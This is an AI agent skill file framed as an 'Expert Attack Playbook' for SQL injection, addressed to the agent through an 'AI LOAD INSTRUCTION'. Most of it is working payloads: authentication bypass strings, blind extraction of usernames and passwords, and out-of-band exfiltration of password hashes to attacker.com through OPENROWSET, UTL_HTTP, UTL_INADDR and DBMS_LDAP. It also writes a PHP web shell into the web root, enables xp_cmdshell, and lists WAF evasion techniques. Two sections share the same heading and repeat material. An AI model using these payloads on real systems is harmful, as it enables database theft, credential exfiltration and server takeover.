sqli-sql-injection — Claude Code skill: SQL injection playbook

---
name: sqli-sql-injection
description: >-
  SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
---

# SKILL: SQL Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion [SCENARIOS.md](./SCENARIOS.md).

## 0. RELATED ROUTING

- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL keywords are WAF-blocked — Jackson's `charToHex` table is indexed by `ch & 0xFF`, so a Unicode character like `丰` (U+4E30) resolves to hex digit `0` inside a `\uXXXX` escape sequence, letting you smuggle `UNION`, `SELECT`, `1`, etc. without the WAF ever seeing them

## 1. QUICK START

### Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- SMB out-of-band exfiltration via `LOAD_FILE` + UNC paths (Windows MySQL)
- KEY injection / URI injection / non-parameter injection points
- INSERT/DELETE/UPDATE statement injection differences
- ThinkPHP5 array key injection (`updatexml` error-based)
- Django GIS Oracle `utl_inaddr.get_host_name` CVE
- ORDER BY / LIMIT injection techniques

### Advanced Reference

Also load [SQLMAP_ADVANCED.md](./SQLMAP_ADVANCED.md) when you need:
- SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
- `--technique`, `--risk`/`--level` combinations and `--second-url` for second-order injection
- `--os-shell` / `--os-pwn` OS-level exploitation via SQLMap
- INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
- GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
- DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER

If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.

### First-pass payload families

| Situation | Start With | Why |
|---|---|---|
| Login or boolean branch | `' or 1=1--` | Fast signal on auth or conditional checks |
| Numeric parameter | `1 or 1=1` | Avoid quote dependency |
| ORDER BY / sorting | `1,2,3` then `1 desc--` | Good for structural probing |
| Visible SQL errors | `'` then DBMS-specific error probes | Error text gives DBMS clues |
| No visible output | time-based payloads | Stable fallback for blind targets |
| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |

### Small, stable first-pass set

```text
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
```

### DBMS routing hints

| Clue | Likely DBMS | Good Next Move |
|---|---|---|
| `You have an error in your SQL syntax` | MySQL | try `SLEEP()` and `@@version` |
| `Microsoft OLE DB Provider` | MSSQL | try `WAITFOR DELAY` |
| `PG::` / `PostgreSQL` | PostgreSQL | try `pg_sleep()` |
| `ORA-` prefix | Oracle | pivot to out-of-band or XML features |
| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |

---

## 1. DETECTION — SUBTLE INDICATORS

Most SQLi is found by **behavioral differences**, not errors:

| Signal | Meaning |
|---|---|
| Page loads differently with `'` vs `''` | String context injection point |
| Numeric: `1` vs `1-1` vs `2-1` returns same | Arithmetic evaluated |
| `1=1` vs `1=2` in condition changes result | Boolean-based injection |
| SELECT with ORDER BY N: column count enumeration | UNION prep |
| Time delay: `'; WAITFOR DELAY '0:0:5'--` | Blind/time-based |
| 500 error on `'`, 200 on `''` | Unhandled exception = SQLi |
| Different HTTP response size | Boolean blind indicator |

**Critical**: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).

---

## 2. DATABASE FINGERPRINTING

```sql
-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user
```

**Error-based fingerprint**: inject `'` and read error message format. MySQL errors differ from Oracle/MSSQL.

---

## 3. UNION-BASED DATA EXTRACTION

**Column count determination**:
```sql
ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns
```

**Column type detection** (NULL is safest):
```sql
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column
```

**Database-specific string concat** (required when column accepts only int):
```sql
-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password
```

---

## 4. BLIND INJECTION — INFERENCE TECHNIQUES

### Boolean Blind (conditional response difference)
```sql
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
```

### Time-Based Blind (no response difference)
```sql
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
```

---

## 5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.

### MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)
```sql
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
```
Use **port 80 or 443** to bypass firewall egress restrictions.

### Oracle — UTL_HTTP (HTTP GET with data in URL path)
```sql
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
```
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!

### Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
```sql
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
```
Attacker sees: `HASH_VALUE.attacker.com` DNS query → read password hash.

### Oracle — UTL_SMTP / UTL_TCP
```sql
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
```

### MySQL — DNS via LOAD_FILE (Windows + UNC path)
```sql
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
```

### MySQL — INTO OUTFILE (in-band filesystem write)
```sql
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
```

---

## 6. ESCALATION — OS COMMAND EXECUTION

### MSSQL — xp_cmdshell (if enabled, or if sysadmin)
```sql
'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
```

### MySQL — UDF (User Defined Functions)
Write malicious shared library to filesystem, then `CREATE FUNCTION ... SONAME`.

### Oracle — Java Stored Procedures
```sql
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime
```

---

## 7. SECOND-ORDER INJECTION

**Concept**: User input is stored safely (parameterized), but later **retrieved as trusted data** and concatenated into a new query without re-sanitization.

**Example attack flow**:
1. Register username: `admin'--`
2. Application safely inserts this into users table
3. Password change function fetches username from session (trusted!) and builds:
   ```sql
   UPDATE users SET password='newpass' WHERE username='admin'--'
   ```
4. Comment strips the condition → updates **admin's** password

**Key insight**: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.

---

## 8. PARAMETERIZED QUERY BYPASS SCENARIOS

Parameterized queries do NOT prevent SQLi when:

1. **Table/column names are user-controlled** — params can't parameterize identifiers:
   ```sql
   -- UNSAFE even with params:
   "SELECT * FROM " + tableName + " WHERE id = ?"
   ```
   Mitigation: whitelist-validate table/column names.

2. **Partial parameterization** — some fields concatenated, others parameterized:
   ```sql
   "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
   -- userType not parameterized → injection
   ```

3. **IN clause** with dynamic count (common mistake in ORMs):
   ```sql
   SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized
   ```

4. **Second-order** — data retrieved from DB assumed clean, re-used in query without params.

---

## 9. FILTER EVASION TECHNIQUES

### Comment Injection (break keywords)
```sql
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
```

### Case Variation
```sql
UnIoN SeLeCt
```

### URL Encoding
```sql
%55NION  -- U
%53ELECT -- S
```

### Whitespace Alternatives
```sql
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- tab
SELECT%0ausername%0aFROM%0ausers  -- newline
```

### String Construction (bypass literal-string detection)
```sql
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
```

---

## 10. DATABASE METADATA EXTRACTION

### MySQL
```sql
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
```

### MSSQL
```sql
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
```

### Oracle
```sql
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- requires DBA
```

### PostgreSQL
```sql
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
```

---

## 11. STORED PROCEDURE ABUSE

### MSSQL — sp_OAMethod (COM automation)
```sql
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
```

### Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)
```sql
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
```

---

## 12. QUICK REFERENCE — INJECTION TEST STRINGS

```
'                          -- break string context
''                         -- escaped quote (test handling)
' OR 1=1--                 -- auth bypass attempt  
' OR 'a'='a               -- alternate auth bypass
'; SELECT 1--             -- statement termination
' UNION SELECT NULL--     -- UNION test
' AND 1=1--               -- boolean true
' AND 1=2--               -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)--          -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
```

---

## 13. WAF BYPASS MATRIX

| Technique | Blocked | Bypass |
|---|---|---|
| Space filtered | `SELECT * FROM` | `SELECT/**/*//**/FROM`, `SELECT%0a*%0aFROM` |
| Comma filtered | `UNION SELECT 1,2,3` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c` |
| Quote filtered | `'admin'` | `0x61646D696E` (hex), `CHAR(97,100,109,105,110)` |
| OR/AND filtered | `OR 1=1` | <code>&#124;&#124;1=1</code>, `&&1=1`, `DIV 0` |
| = filtered | `id=1` | `id LIKE 1`, `id REGEXP '^1$'`, `id IN (1)`, `id BETWEEN 1 AND 1` |
| SELECT filtered | | Use `handler` (MySQL), `PREPARE`+hex, or stacked queries |
| information_schema filtered | | `mysql.innodb_table_stats`, `sys.schema_table_statistics` |

Additional WAF bypass patterns:

- Polyglot: `SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/`
- Routed injection: `1' UNION SELECT 0x(inner_payload_hex)-- -` where inner payload is another full query hex-encoded
- Second Order: inject into storage, trigger when data is used in another query later
- PDO emulated prepare: when `PDO::ATTR_EMULATE_PREPARES=true`, stacked queries work even with parameterized-looking code

---

## 14. WAF BYPASS MATRIX

### No-Space Bypass
```sql
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
```

### No-Comma Bypass
```sql
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
```

### Polyglot Injection
```sql
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

### Routed Injection
```sql
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
```

### Second-Order Injection
```
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
```

### PDO / Prepared Statement Edge Cases
```php
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
```

### Entry Point Detection (Unicode tricks)
```
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '
```